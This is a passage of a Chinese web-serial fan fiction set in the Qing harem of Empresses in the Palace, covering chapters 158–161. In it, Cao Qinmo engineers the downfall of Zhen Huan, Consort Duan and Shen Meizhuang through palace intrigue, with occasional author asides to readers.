“回皇上,回娘娘,是宫外甄常在的教养嬷嬷有事回禀。” ‘甄常在’三个字抓住了皇上的注意力,看着年世兰一副不耐烦的样子,皇上便轻咳了两声:“叫进来吧。” “奴婢给皇上请安,给贵妃娘娘和襄嫔娘娘请安。” 那拉嬷嬷是先帝朝时的老人了,晚期的宠妃王氏舒氏都是经了她手的。 “起来吧,到底是何事?” 那拉嬷嬷穿着深蓝色的衣裳,面无表情的样子看着是有点唬人。 “回皇上。奴婢观甄家小主德不配位,恐污了皇家名声。” 苏培盛暗自瞪大了双眼,竟是这么严重的罪名吗! 皇上皱了皱眉:“你且仔细说来。” 那拉嬷嬷双手规矩的放在身前,一字一句丝毫没有添油加醋的把‘以色事他人’和‘皇后庶女论’抖搂了出来。 年世兰瞟了曹琴默一眼,怨不得她坚持要把那拉嬷嬷请出山,原是有这般的缘由! 她也不在乎曹琴默是怎么知道甄嬛不安分的,只要有闹剧看,还是皇上的闹剧,年世兰就开心。别以为她看不出来,这新选的几个贱人,甄氏是贱人之首! 皇上手里的十八籽转动越来越快,他没想到有如此面貌之人会品行这般不端正。真是白白辱没了那张脸! 可是,若是放弃,皇上也是不甘心的。毕竟这么多年,纯元再未入梦,能得一个如此相像的替身,自然是极好的。 “那拉嬷嬷辛苦了,皇上前儿个还说,这批秀女的规矩交于嬷嬷们手上定是极为妥帖的。” 曹琴默咬了咬‘那拉’二字,皇上看了眼曹琴默又看了眼这位那拉嬷嬷,心里头有了计较。 虽然是奴才,但因着王氏和舒氏,得了先帝的夸奖。倒不好随意的糊弄过去,毕竟这人身后那拉家的包衣也不是少,若不是襄嫔提醒,皇上还真要忽略过去了。 “嬷嬷得先帝的夸奖,规矩礼仪自是不俗。甄氏那边朕自会安排。苏培盛。” 皇上想了想,左右人进来了就好,其余的不重要。 “传朕旨意,常在甄氏,不敬皇后诋毁贵妃,上教不严下不束人,德行有愧不堪为宫妃之德。 着,降为官女子。其父甄远道,教女无方,贬官至正八品大理寺司务。其母甄云氏,无德无教,诵读【女则】【女训】百遍,并抄写百遍供奉于甄家祠堂。” 说完,皇上又看向那拉嬷嬷。 “甄氏的教养还是要劳累嬷嬷了。” 那拉嬷嬷规矩行礼应是,眼神里倒没有不满,想来对皇上的处置还算满意。 离开前,皇上看了一眼曹琴默:“好好照顾温宜和六阿哥,朕记着你的好呢。” 曹琴默福身,对甄嬛的下场的猜测很符合预想,她很满意。 官女子,母女分离。 这位甄氏的孩子,她曹琴默不仅要争,还要帮丽嫔争,帮博尔济吉特氏争,帮敬嫔争。 不是能生吗?不是孩子不如自己的爱情重要吗?那就看看,孩子一个个都离开身边,还能不能维持她‘愿得一人心’清高的爱情论了。 曹琴默很期待,和甄嬛沈眉庄二人见面的那一天。 不过在这之前,曹琴默看向延庆殿的方向,抢了她的温宜也不好好照顾,端嫔,别急,落不下你。 第158 章 曹琴默16 “皇上,翊坤宫的周宁海来报,华贵妃似是被梦魇着了,突发高热呓语,已经有一阵子了。” 苏培盛接到消息跌跌撞撞又轻手轻脚的‘滚’到皇上面前,面上有一种‘吾命休矣’的惨白。 “糊涂东西,都是怎么伺候贵妃的!” 明黄色的衣角在苏培盛眼前一闪而过,年逾四十的皇上突发生机,似一阵风般飞快到了翊坤宫里。 苏培盛捡起被皇上“剐”掉的帽子,小跑着追了上去。 “小夏子,快去太医院,把当值的太医都叫去!” 苏培盛打了门口有些呆愣的小夏子一把,急匆匆的吩咐完追上皇上的脚步。 翊坤宫里弥漫着紧张的气氛,曹琴默坐在年世兰的床边,不停的为她换着头上的凉水帕子。 “襄嫔,世兰怎么样了?” 皇上赶到时,年世兰的状态已然是十分不好了。面色被烧的通红,嘴唇干燥起皮泛着不正常青白,瞧的人心咚咚直跳。 曹琴默眼底泛着青黑,双眼已然红肿,细看来,双手也是颤抖着的。 “皇上,娘娘从昨晚开始高热,江太医开了药可是娘娘喝不进去。没办法,只能这般为娘娘降温,可是效果却微乎其微。” “你们是怎么伺候你们娘娘的!昨晚的事为何没有人来告知于朕?”皇上摸了摸年世兰的额头,只觉得入手的肌肤滚烫的骇人。 颂芝哭着跪倒在地,往日里可爱的圆眼已经肿成了细缝,她砰砰的磕着头诉着委屈:“皇上,求皇上给我们娘娘做主啊! 昨儿周宁海先后跑了十余趟不止,可是景仁宫的太监说皇上和皇后娘娘已经休息了,不予禀报。周宁海闯不进去,想要高喊也被景仁宫的江福海给堵住了嘴巴。 周宁海的头都磕破了,也没人进去通传啊皇上!” 颂芝说的是事实,只是翊坤宫的人也并未太过努力。按照襄嫔娘娘的话,还是摆着‘截恩宠’的表情去景仁宫摆出了闹事的姿态。 只是江福海为了不惊动禁军和皇上身边的人,还特意拉扯了周宁海到一旁,两人纠缠中,周宁海这个瘸子装模作样的被推倒,都是有迹可循的。江福海自觉占了上风,自然不会想去通传。 年世兰此番的病也并非那般严重,而是在试年府医的新药。 这是万密斋留给年府医的典籍中的其中一张‘排毒重塑经脉’的方子。使用过程因着痛苦些,年世兰便听从曹琴默的话,留到了今日才用。 “齐月宾,孩子。” 年世兰突然发出了些声音,只是模糊沙哑,皇上离的远些有些听不清。 “世兰,世兰你说什么?” 皇上凑近了,才听到年世兰的呓语:“王爷,齐格格。” 皇上心里骤然升起一股无力感,那个孩子是世兰的心病,他无力为解。 曹琴默突然跪在了地上声泪俱下道:“皇上,娘娘那个孩子臣妾并不了解详情,但端嫔端了那碗堕胎药是事实啊皇上! 不论心不论内情,娘娘并没有恨错人。如今娘娘这般,说不得是因果未了。求皇上,叫端嫔在佛前日日诵经,给娘娘祈福也好啊!” 颂芝带着翊坤宫的下人也跪了一地:“求皇上。” 皇上看着曹琴默焦急的眼神心里头五味杂陈。 世兰自端嫔事发后,便对他后院的女人都没什么好脸色。唯这位家世低微的襄嫔为了求个庇护,能在世兰身边待下去。 如今就算往日里世兰对其并不像曾经对待端嫔那样和颜悦色,这时,也是真心为着世兰着想的。 这番一对比,就显得端嫔曾经的情谊十分可笑了。 这堕胎药确实不是她的主意,但太后找上她的时候,她也并未犹豫太久。 不好明面上做些什么,那便由齐月宾来净化这段罪孽吧。 “你说的也有道理,苏培盛,传朕旨意,着令端嫔每日于宝华殿诵经三个时辰,为华贵妃祈福,并抄写地藏经百遍,供奉佛前。” 襄嫔的要求合理不过分,只是祈福而已,又不是降位责罚,皇上甚至还觉得曹琴默太有分寸了。 “多谢皇上,多谢皇上。” 这个旨意叫后宫的反应不一,最受刺激的,便是端嫔本人和景仁宫的皇后。 “你说什么?不可能!这不可能!本宫要见皇上!” 端嫔恨的维持不住自己温婉的形象,挣开吉祥搀扶着的手就要去养心殿见皇上。 “端嫔娘娘,华贵妃如今昏迷不醒,皇上日夜操劳,怕是没空见您。” 苏培盛带着禁军把延庆殿围了起来:“娘娘,皇上的意思是,除却祈福,您就在延庆殿好好将养身子。” 端嫔忍着心头一口上涌的血气,低低头掩住眼底喷涌而出的恨意。 “是,臣妾,遵旨。” 刚才被愤怒冲昏的头脑已经冷静下来,她张了张嘴,让嘴角溢出丁点血渍,而后故意欲盖弥彰的露在苏培盛面前。 苏培盛见状只是在叹了口气,而后就离开了。 端嫔强撑着的力气骤然消散,从吉祥的身上滑落到地上:“年世兰,那一壶红花早就抵消了我的罪孽,你如何敢如此折辱于我!” 她含着心头血的呢喃只有吉祥听的分明。只是,主仆俩再恨,也得忍着痛去宝华殿给华贵妃祈福诵经,这简直比这么多年的打骂还要刮齐月宾的心。 说来也是奇了,在端嫔诵经七天后,华贵妃的身体便有了好转的趋势。不仅高热开始下降,药能喝进去后,一些清淡的米汤也能顺利的喂了进去。 曹琴默看了一眼颂芝,点了两下桌子。 颂芝微微点头,端着碗下去。 一日后,端嫔打胎作孽牵连华贵妃为孩子拖垮身体的流言,悄悄在后宫里传了开来。 进宫晚的,如敬嫔欣贵人,对华贵妃的大部分观感都是畏惧且厌恶的。但这段时间去翊坤宫侍疾和端嫔祈福之事后,两人又有了新的想法。 本以为去侍疾就算华贵妃昏迷着,翊坤宫的宫人定也是不好相处。 没想到,襄嫔在此便能安排的井井有条。 “娘娘未醒,皇上只是担忧叫了姐姐们来,不过这些事我和丽嫔姐姐做就好了。” 说是做事,其实也不过是偶尔给华贵妃换个凉些的帕子罢了。 其余时间两人在翊坤宫似是在家般,吃些点心打打络子,好似并不畏惧华贵妃的样子。 欣贵人倒是比敬嫔放的开些,毕竟华贵妃虽然凶悍,但到底出手保住了她的孩子。总归好印象逐渐加深,心里头已经少有排斥了。 敬嫔是在潜邸时经常被叫去立规矩,不是站一个时辰便是给其布菜。 不过,次数也并不算多,毕竟华贵妃盛宠,才不想看到她和曾经的王爷共处一室呢。 如今这般,倒是让敬嫔生了两分怜悯。原来凶悍如华贵妃,曾经也因着误信她人,受了这么重的伤。 又想起那个老好人一般的端嫔,两人对视一眼。果然,知人知面不知心。 华贵妃是明着坏,还好防范。这般暗地里要命的,可真是敬谢不敏了。 曹琴默满意的看了眼手里络子,这才哪到哪呢?既抱养了她的宝贝温宜,又任她在后宫凋零,如今不过是一点剜心之举罢了,这是忽视她温宜的利息。 (关于年家能人多并不需要求曹琴默一事。 年家再本事也是奴才,不可能全权插手到一个皇子的王府上。自家人知道自家事,年世兰什么性子,真放她自己在雍亲王府,能做出来什么不好说。 况且,曹琴默受不受宠也是当时雍亲王的枕边人,在他们眼里,明明付出金银和看顾就能收获回报的买卖,比自己折腾可强多了。 曹琴默求庇佑这个事,恰恰很符合利益交换。你有需求的去帮助别人,反而更叫人放心。比无所求的用起来踏实的多。) 第159 章 曹琴默17 这宫里的风言风语就没有停下来过,但是曹琴默的分寸拿捏的刚刚好。既洒满了全宫,又谨慎的没有闹到养心殿去。 宫人们私下里说说小话,皇上总不会挨个去禁言的。所以皇后即使反应过来出手制止也晚了,该知道的,都知道了。 “把章弥叫来。” 皇后揉着额角,只觉得最近的坏消息一个接一个的,叫她分身乏术。尤其是自华贵妃昏迷后的那日起,皇上便拉走景仁宫的大半奴才扔进了慎刑司。 其中,就有景仁宫的大太监江福海。说是耽误了华贵妃的病情,人已经在杖刑下没了。 呵,皇后可不信!她年世兰要是真的重病会这般悄无声息的吗? 她翊坤宫的下人可不是什么好东西。一个个奴才随主,若真是有那头疼脑热的,早就闹翻了整个皇宫! 屋里头一点动静都没有,肯定是做戏! 可恨的是,这场面像极了当初她抱着弘晖在内院求府医的样子。 年世兰的运气真好啊!居然歪打误撞的以此事勾起了皇上的愧疚,居然移情到了她身上!真是贱人! (曹琴默:深藏功与名。这特意安排的大戏,皇上和皇后看起来都很喜欢呢。) 华贵妃重病,自然少不了章弥这位太医院院判的事。只是再高明的院判跟师从医圣万密斋的徐府医来比,也是技逊一筹的。 皇后不死心的确认并没有什么好消息叫她入耳,反而刺激的头风发作更加频繁。 宝华殿里的端嫔看似在祈福,实则每日都在佛前诅咒年世兰去死。 曹琴默和年世兰自然知道,不过,她们也不在乎。如果在佛前咒骂两句就能实现愿望,她们早就骂的紫禁城成一座鬼城了。 一直到新小主入宫的前一天,年世兰终于醒了过来。 虽然看似又瘦弱又疲惫的,但她自己能感觉的出来,身体里由内而外焕发的生机。 “世兰,你终于醒了。” 皇上在得到消息的第一时间赶了过来,握着年世兰的手眼底有些湿意。 年世兰扯了扯嘴角,喉咙里干涩的要命。正好,也不用违背良心说些叫人天打雷劈的谎话了。 她眼神扫了一眼后头的曹琴默,见她微微勾唇,便知道这场戏做的很成功。 其实皇上来的那日她还坚持着有些意识的,所以才能叫那几句话勾的皇上罚了齐月宾。 不过,年世兰下意识的捂了捂自己的腰。曹琴默下手真狠啊!要不是她掐着她的嫩肉,她早就睡过去了。呜呜呜! 由着皇上喂了水又喂了粥,年世兰以蓬头垢面不宜面君为由把皇上撵了出去。 皇上一走,她便颤抖着双臂把自己支了起来。 “快,颂芝,饿死我了!” 她颤抖纯属是饿的,并不是身体有什么后遗症。 颂芝早就知道,年府医说的很清楚了。这药下去,小姐的身子定能养好,只是食量会大些,一定要注意运动,方可维持纤瘦。 一连干了三碗粥,才被曹琴默叫了停。 “慢慢来,毕竟这么些天了,让你的肠胃适应一下。” 年世兰点了点头,两人复又说起这些时日的事情。 养心殿里。 “你仔细跟朕说说,华贵妃的身子到底怎么样?” 章弥和江城在华贵妃醒后第一时间就把了脉。两个人对视一眼,皆是从对方眼里看到了苦涩。 “回皇上,自上次小产落下下红之症后,华贵妃的身子本就有了漏斗之态,进补无益并且不能随意动怒。这番高热,更是伤了根本,怕是,没有几年寿数了。” 太医向来这般,一分的病说出五分重。这样,治好了是自己医术高明,治不好也是情有可原不会获罪。 年世兰初醒时的脉象虚浮复杂,章弥和江城也只是觉得能活个十来年。 但是,不能这么说。华贵妃毕竟气性太大,万一中间有个什么不对付的,少几年他们的脑袋可能就不保了。 所以章弥说出几年的时候,江城是赞同的。 皇上愣在那里,半晌没有说话。 “回去吧,万不可透露给华贵妃。” 想了想,皇上补充道:“在襄嫔那里也小心着些。” 章弥和江城应了是就退下了。 苏培盛悄咪咪的观察了一下皇上的表情,斟酌了语气道:“皇上,那拉嬷嬷回来了。” 皇上打起了精神:“宣。” 对于甄氏,皇上的期待值已经降低到了最低点。只要那张脸蛋完好无损的出现在后宫就好。 况且,议论贵妃,任由婢女胡言乱语。只打死了那个婢女,皇上觉得自己已经算是高抬贵手了。 没错,浣碧还未出场就已经被处死了。 毕竟在众人面前对一国之母不敬,诛九族也不过分。 “奴婢给皇上请安。” 那拉嬷嬷觉得自己身心俱疲。 她带了那么多小主,从来没有一个如甄氏这般不服管教的。 她自有一套自己的理论,什么夫妻,什么清高,什么不应摧眉折腰,完完全全像一个神智不正常的人。 看这位执着要让甄氏进宫的皇上也充满了厌烦。 她没有技巧全是感情的吐槽了甄氏的一系列僭越之语,而后忍不住说道:“不过一个汉军旗八品官的女儿,当个包衣宫女都不够格!” 皇上挠了挠头,那拉氏说的倒是没错,宫里的宫女都比甄氏家世好。 不过那拉嬷嬷不知道甄氏那张脸的特殊性也是正常的,毕竟当年纯元直接下了牌子免选。 “只是不想再劳民伤财的选秀了,所以这次便宽容了些。嬷嬷若是想回家荣养,朕便许了你。” 那拉嬷嬷摇了摇头:“不回去,家里子侄都是边关的武将,京城里只有奴婢一人。回家也没什么意思,皇上若是开恩,叫奴婢去小主子身边伺候着也好。总归奴婢还能有些用处。” 皇上猛然想起,这位那拉嬷嬷的家人有几位四五品的小将在边关,家中关系并不复杂甚至很好利用。 “容朕想想。” 那拉嬷嬷退下后,皇上想的心烦意乱,便招呼苏培盛去了储秀宫。 看着哄孩子的曹琴默,皇上安静的坐着没有出声。 “皇上怎么这个时候来了?娘娘可好些了?”温宜和弘晏入了睡,曹琴默才有空搭理这位心事重重的大爷。 皇上点了点头:“好多了。” 他看着曹琴默道:“那位那拉嬷嬷回来了,想去皇嗣身边谋个差事,你觉得如何?” 倒也不是试探,主要是曹琴默心细的很。 曹琴默想了想:“那拉嬷嬷臣妾并不是很熟悉,只是翊坤宫一面看来是个极为守规矩的。 臣妾以为,放在公主们的身边便有些不妥。” “哦?此话何讲?” “皇上,咱们大清的公主向来是以扶蒙为任的。这嫁去了蒙古,若是没个于宫里时美好的念想,如何能支撑娇弱的公主在那般环境中生存下去啊。” 曹琴默说着,似是想到了什么一般,眼眶红红。 “臣妾不是不懂家国大义,只是公主已然有自己的使命,这幼年时,还请皇上叫孩子们享享富贵,多些洒脱吧。” 皇上听完十分的动容,曹琴默对温宜的爱实在叫他也羡慕。 “好,如你所说,公主们确实不该过的那般拘谨。那阿哥呢?可是跟着咱们弘晏好?” 曹琴默想了想,还是摇了摇头。 “弘晏还小呢,就算是开始学规矩也还早。不如,跟着三阿哥怎么样?三阿哥已经十七八岁的年纪,若是今后出宫开府,也算是有个能撑事管家的嬷嬷,自然会轻松些。” 皇上一想,对啊!他的弘时十七了!怎么还没订亲!还得是曹琴默心细! “臣妾只是说说罢了,还得皇上权衡拿主意。臣妾只是深宫妇人,可能心细些能瞧出皇上忽略的点滴,但是出谋划策是万万不敢的。皇上英明神武,臣妾这般,倒是有班门弄斧之意了。” 曹琴默说着,脸色有些赧然,头也低了下去。 皇上却满意极了曹琴默的分寸感,只觉得往日里自己没能发现,自己的后院还有这般妙人。 (我看有小伙伴担心不是自己的孩子养不熟,这个问题作者有考虑哒。你看胖橘这么个后宫最没良心的头子,在孝懿仁皇后名下不也养的很熟嘛!而且,不是超雄从小好好洗脑的话,养熟的概率很大哒。) 第160 章 曹琴默18 “今儿就是那些新人进宫的日子吧?” 年世兰倚在迎枕上,苍白的脸色衬得鸦青的睫毛细密的像勾人的尾羽。不愿意换上新制合身的衣裳,宽大的旗装更添了两分楚楚动人之态。 皇上眼都不眨的盯着她瞧,从前只觉得明艳瑰丽的年世兰叫他无法移目。如今这般弱柳扶风之态,竟更是风流。 “今日是满蒙军旗的宫嫔进宫的时日,不打紧。朕大部分都安排在了东六宫处,不会吵着你的。” 这册子还是年世兰在旁看着写的,她自然知道这西六宫满打满算也只进来了一个年幼的方佳常在。 “哼,皇上可真是体贴。” 如今身子虽内里调养好了,但毕竟受了大罪,接连几日的高热更是叫身体亏空着。 又因着食欲旺盛为了维持纤弱之态,日日都要打上两套拳。早已无力的双手此刻看着皇上那张笑盈盈的圆脸,还是泛起了密密麻麻的痒意。 “好了,朕说不过你。养心殿还有折子,朕先去处理,你若是没趣儿了,便叫襄嫔来陪你解解闷。” 皇上说着,又留下了不少私库里的宝贝才离开。 年世兰有些嫌弃的看了一眼皇上的东西,叫颂芝换了个盒子,一股脑的又送去了储秀宫。 如今两个孩子正是好玩儿的时候,曹琴默日日都要逗弄上两回。 又因着那拉嬷嬷一事,得了齐妃的感谢。这人便见天儿的往储秀宫跑,不是带些孩子的小衣便是几串她自己制做的宝石项链和手串。 粉的蓝的,配色极其鲜嫩。齐妃年轻时容色好,是在王府时盛宠过许久的。手头的好东西自然多的是。她性子又极为直接简单,曹琴默只是随口夸了一句漂亮,就恨不得把所有宝石珠子都分享给她。 “虽然你跟着华贵妃混,但确实比华贵妃有眼光的多!” 齐妃喜爱这些娇嫩的颜色,但是年世兰总是打击她,叫她很不痛快。 “原不是什么大事,齐姐姐实在不必拿这些贵重之物。” 饶是占便宜惯了的曹琴默,也不得不败在齐妃的大手笔下。 那一个个水头极高的珠子似是不值钱般的往储秀宫送,曹琴默第一次发现齐妃居然有败家子的潜质。 要说齐妃心疼吗?自然也是有一点点点心疼的。她自认并非是什么特别大方的人儿。 只是,对比那拉嬷嬷到阿哥所,带给弘时的便利和她这个额娘都想不到的规劝后,齐妃觉得付出几分小金库也是非常值当的。 弘时身边是有嬷嬷的,还是皇后亲自挑选的。只是皇后没两年就要把嬷嬷换走,导致弘时身边事总是在不停的更迭。 齐妃有意见也没办法,她说不过皇后。 如今的那拉嬷嬷是皇上亲自指过去的,还顺道带了两个人事宫女。 这波礼送的,齐妃非常心甘情愿。 其实,原先潜邸的时候,皇上还赏了好些东西呢,齐妃的家底儿可不算薄。 “什么贵重不贵重的,本宫的弘时好了,本宫高兴。” 曹琴默笑了笑,看齐妃的眼神中带了不经意的算计:“是,三阿哥也是到了成亲的年纪,有位能担事的嬷嬷,自然会少了很多麻烦。也是齐姐姐从前不理事,不然哪有妹妹多嘴的时候呢。” 齐妃的眼珠子转了转,不知道想到了什么。只说长春宫还有事,便离开了。 转眼,新进宫的小主们都安置在了各自的宫室中,皇后带头送了赏后,年世兰比照着皇后略低了个档次也送了过去。 阖宫觐见的当日,大家终于见到了大名鼎鼎的甄官女子。 这位还未进宫,便一而再再而三的“勇”犯宫规,凭借一张嘴得罪后宫顶头上司的奇人,就连病歪歪的端嫔和装病卧床的年世兰都准时到达了景仁宫,想着一睹芳颜。 齐妃被皇后安排在了年世兰和曹琴默中间,本有些嗫喏的嘴巴在年世兰不愿搭理她的情形下倒是利索起来。 虽然没有评头论足,但时不时的发出‘啧’‘切’‘咦’等动静,反而把要说的话表达的比开口更为明确些。 那拉嬷嬷的特训显然是有明显的效果的,甄嬛老老实实的站在最后面,低着头安静如鸡。 皇后在见到甄嬛的第一眼就捏紧了手里的白玉包金如意。明明只有上半张脸瞧着相似,可只是站在那里,无端端的就会觉得这人是纯元。 与皇后同样惊讶的,还有撑着病弱的身子来请安的端嫔。 她的眼里猛然迸出光亮,似是算计似是满意的视线叫甄嬛有些无所适从的不安。 没有了年世兰的刁难,皇后先后起了几次话头都被忽视过去,只好不甘愿的结束了请安。 “瞧华贵妃那脸色,怕是真的不太好了。” 剪秋的语气里透着轻快,只是想起那位酷似纯元皇后的甄嬛,又有些踟蹰。 皇后提笔,在纸上落下一个‘兴’字,脸上的笑意明显。 “病病歪歪的,不足为惧。既然年世兰不中用了,那这位甄官女子,也就没什么用处了。” 前段时日只是听说年世兰反复的请太医,皇后只是当年世兰夸大了病情,所以仍旧把她当做最难处理的那一位。 没想到今日一见,年世兰果真是病的不轻,皇后的头风都要自愈了。 又写下了一个‘顺’字,皇后对于失去了江福海和一半景仁宫奴才的气闷消散的七七八八。 “对了,延禧宫那边,布置的怎么样啊?” 剪秋一边为皇后整理纸张,一边道:“都好了,娘娘放心。小主们入宫是喜事,奴婢把金桂都按您的吩咐送去了。” 皇后点了点头,官女子,位分低又怎样,名声差又怎样?有那张脸在,就不得不防啊。 “准备些老鸭汤,皇上今晚会过来的。” 只是皇后没想到的是,皇上在来景仁宫之前,去了一趟储秀宫。 “华贵妃今日可还好?” 对于年世兰强撑着还要去景仁宫凑热闹的举动皇上是不赞同的。但架不住如今正是对年世兰上头的时候,饶是他铁石心肠,也被缠磨成了绕指柔。 不过翊坤宫的人说华贵妃回去就不太痛快,已经睡下了,皇上正好也要找曹琴默,便直接来了储秀宫。 “华贵妃的身子皇上也是知道的,今日不过是强撑着去坐坐罢了。只是,早上还好好儿的,昨儿也是自己坐了大会儿并未有何不妥。今日便有些不痛快,也不知道到底是因何缘故?” 皇上叹了口气,只能寄希望于年羹尧。 “对了,臣妾有一事。” 曹琴默看着皇上,语气里带了些谨慎。 “你且说来。” 似是斟酌了言语,曹琴默顿了下才开口道:“今日请安时,不知是景仁宫的人带错了,还是沈贵人紧张出了错,竟然站到了最头里的位置。” 曹琴默口中最头里的位置,便是第一排的左位。今日请安,博尔济吉特贵人也在,按理说,左位应是富察贵人,右位是博尔济吉特贵人。 沈眉庄只是汉军旗,应当站在第二排左位才是。 看着曹琴默带了些小心的脸色,皇上深吸了口气。 皇后皇后又是皇后! “臣妾相信皇后娘娘宫里头的人嘴严实,皇上不必担忧。” 这一句还不如不补充,皇上又想起了严实的景仁宫奴才们是如何拦住翊坤宫周宁海的。 “你做的很好。” 皇上很满意,既是私下里,也没有在请安时提出驳了皇后的面子。 留下满桌子金光玉器的赏赐,皇上憋着一口气直奔景仁宫而去。 曹琴默站在门口,遥望着皇上的御驾远去,心里头默默念道:“皇后啊皇后,沈眉庄让你受了这么大的委屈,你可不要放过她啊!” 第161 章 曹琴默19 如曹琴默所料,刚刚平静下来的景仁宫再次被皇上地毯式处理了一遍。今日带新进宫宫嫔请安的是皇后身边的绣夏,也被盛怒的皇上直接带走料理了去。 皇上虽不是疾言厉色,但语气里的厌恶和嫌弃尖锐又精准的扎穿了宜修已经在理智边缘摇摇欲坠的心。 “苏培盛,摆驾翊坤宫。” 随着景仁宫里的声音一点点消散,皇后跌坐在椅子上捏着一个暗色黄云龙碗重重掷在了地上。 “沈贵人,好啊,好一个济州协领,山东孔孟之乡的女儿,果然有志气!” 她的声音里含着刺耳的摩擦声,怕是牙都要咬碎了。 “剪秋。” 皇后被刺激的语气越发平静。 “传本宫旨意,济州协领沈自山之女沈眉庄,规矩欠佳,不懂尊卑,着,禁足一月,从内务府再派去个嬷嬷,务必,叫她,学好了规矩再来请安!” 闭了闭眼,自进宫后便事事不顺的状态,已然快要压垮宜修本就不稳定的精神。 被年世兰轻轻松松拿走一半宫权不说,还是皇上亲手奉上的。又叫曹琴默得了一儿一女,就连欣贵人那个贱人也平安生下了皇子。 太后卧病在床,她如今做事束手束脚瞻前顾后,还被皇上如此指责。 “等一等。” 皇后睁开眼,看着正要离开的剪秋说道:“传本宫懿旨到济州,沈氏女需诵读【女则】【女训】以正身名!” 剪秋有些犹疑,毕竟她自从跟了宜修至如今,从来没有把手伸出过皇上的后院。 “娘娘,若是皇上怪罪......” 皇后冷冷的笑了笑:“皇上不会怪罪,济州协领也不敢得罪满蒙两旗。” “是,奴婢这就去。” 新入宫的几人还未从皇上宿在华贵妃处的酸涩中回神,又紧接着听到这样一道懿旨,吓的连自己的宫门都不敢出了。 富察贵人本就是个外强中干的,她初进钟粹宫还有些不满。但如今还算的上能顶事的,竟然只有八品小官之女安答应。 那位富得流油的孙常在,比她的胆子还小,搂着安答应的胳膊嘤嘤嘤的,瞧着眼睛都不舒服了。 不过有了对比,富察贵人觉得自己又行了。 但是接下来,皇后的懿旨还有一道送回了沈贵人的老家济州。 这让所有人都噤了声。 这般牵连了家中女眷,还真不如一脖子吊死来的痛快。可是,宫妃自戕又是牵连家族的大罪。真真儿是进退维谷了。 曹琴默听了消息倒是有些惊讶,这比她预期的戏折子要精彩些。皇后这是要被逼疯了?手段倒是有几分一国之母的样子。 不过,也没什么不好。沈眉庄本就在报复名单里。敢给温宜下药,哼。 延禧宫。 沈眉庄狼狈的跪在地上,向来端庄的面色已然被羞愧和悔恨掩盖。 “皇后娘娘,嫔妾要见皇后娘娘。” 沈眉庄拉着剪秋的胳膊,语调哽咽的说着。 剪秋的神情也有些难看,连累她家娘娘被皇上训斥。好端端一个礼仪之乡的贵女如此不守礼,端着一副清高脸,跟延禧宫后殿那位一样讨厌! “沈贵人,您还是好好学学规矩吧。毕竟满蒙两军旗,唉......” 剪秋说完就走了,禁军把延禧宫围住,下一次打开,便是一个月后了。 “嬛儿!” 沈眉庄哭着拉住甄嬛的手:“对不住,是我连累了你。” 延禧宫都关了起来,她的嬛儿怕是也没办法侍寝了。此时的沈眉庄完全忘记了,在景仁宫外,是甄嬛拉着她说了会子话,又在排队时推着她到了前头,她才随意的站定的。 也忘了济州的父母族姐妹等亲人,收到皇后此等懿旨,该如何自处。 在孔孟之乡的女儿,被宫里头的小主连累得了不守礼的名头。外嫁的,能留下条命便是夫家仁慈,即使一碗药下去,沈家也无从挑理。 待嫁的姑娘们便更是没有了盼头,这个名声,还能找到什么好人家呢?不若自己痛快些,找个家庙一剪子下去,青灯古佛。说不得还能给沈家后人留条活路。 一旁的嬷嬷目瞪口呆的看着这闹剧,只觉得脑门子发紧。 她出身费莫氏,是满清最古老的姓氏之一。是文华殿大学士费莫温达旁支的族人。 自康熙三十年进宫后,一直负责秀女的礼教。虽然算不得什么包衣世家或者名门之后,家中人少却心齐,在宫中未归家也只是闲不住而已。 她从业这么多年,还是头一次看见这么离谱的宫妃,这让她生出了无限的动力。 “这些嬷嬷,你都是从哪搜罗来的?一个比一个能干。” 年世兰啃着果子,脸上的笑意快要溢出了翊坤宫。 有皇上的愧疚在手,年世兰在内务府的人手比皇后还多。这次皇后选嬷嬷,曹琴默提醒把这位费莫氏推了出去,可真真儿是痛快啊! 曹琴默笑了笑,拿着布老虎在逗温宜。 “臣妾闲来无事,看过内务府宫人的记档,娘娘忘了?就是上次您处理宫务的时候。” 华贵妃想了想,好像是有这么回事。只不过这名册在她看来又臭又长,所以并没有在意。 “还是你脑子灵,给皇后添堵的事,能干三件绝不少做一件。” 想着中风偏瘫口水直流的太后,一吸气就牙疼的皇上,还有见天儿被骂的皇后,年世兰只觉得这紫禁城的风都香了。 “别急啊,这才哪到哪。” 曹琴默亲了亲温宜的小圆脸,这才刚开始呢。只是收点利息罢了。都是些不痛不痒的小打小闹,怎么能抵了温宜受过的罪呢! “还好你心细提醒了朕。” 新人入宫也有一月了,皇上没有召见任何一位。 处理沈贵人的手段快速凌厉维护了满清的尊严体面,倒是叫皇上在朝堂上得了几位满清老臣的好脸儿。 “这本就不关皇上的事,只是沈贵人自己的规矩差些罢了。说起来新进宫的妹妹们也是无辜,唉,沈贵人......” 曹琴默话说三分,倒是叫皇上眼前一亮。 是了,是沈贵人的问题。 因着孝期选秀,虽然有老娘给他背了大部分的锅,但他到底这段没有去宠幸新人,这番话便不知怎么又被提了出来。 襄嫔的话说的恰到好处,跟旁的无关,只是沈眉庄惹了圣怒所以连累了余下的新人而已。 看着又把两个孩子抱出来的曹琴默,皇上给面子的接过了温宜。 “你对弘晏也好,只是真不用把弘晏记在你名下吗?” 有个玉牒上的皇子,对温宜的好处可是要大的多。 然而曹琴默并不这么认为。徐佳娉婷就算是家世一般,也是满军镶蓝旗的旗人。她并没有玩弄权柄的打算,身下一个能做好面子功夫的满军旗阿哥好处不少。 “芳妃走的惨烈,臣妾是做母亲的,自然是见不得这些。臣妾对弘晏好,是想着弘晏今后可以照顾温宜。臣妾只有温宜,只要温宜。” 她不能有儿子,有了儿子,年世兰如今所有的优待都会被收回去。对于皇上的小心眼和忌惮,曹琴默很清楚。 (还有,曹姐要的只是面子情,能照顾温宜就好,一个公主而已没有利益冲突。又不是要当太后,难不成还真能指望男人呢?曹姐趁着孩子小,笼络了他们的愧疚和一点点感恩,今后跟着温宜出宫住公主府不好吗?不香吗?不自由吗? 什么孝懿仁皇后佟佳氏的,孩子多了有一个有良心的就能帮扶温宜。为什么说生恩不及养恩大,难不成都是因为养母厉害吗?好像把人说的都是白眼狼一样。 再说了,指望不上小的还有一个老的,还有一个‘会死’的朱砂痣的‘遗言’能用。 条条大路都得走,但凡是对温宜有用的就都得试。曹姐就这么个要求。不能说因为不是亲生的怕有白眼狼这路就不走了。那馒头还能噎死人呢,我的犟筋们。 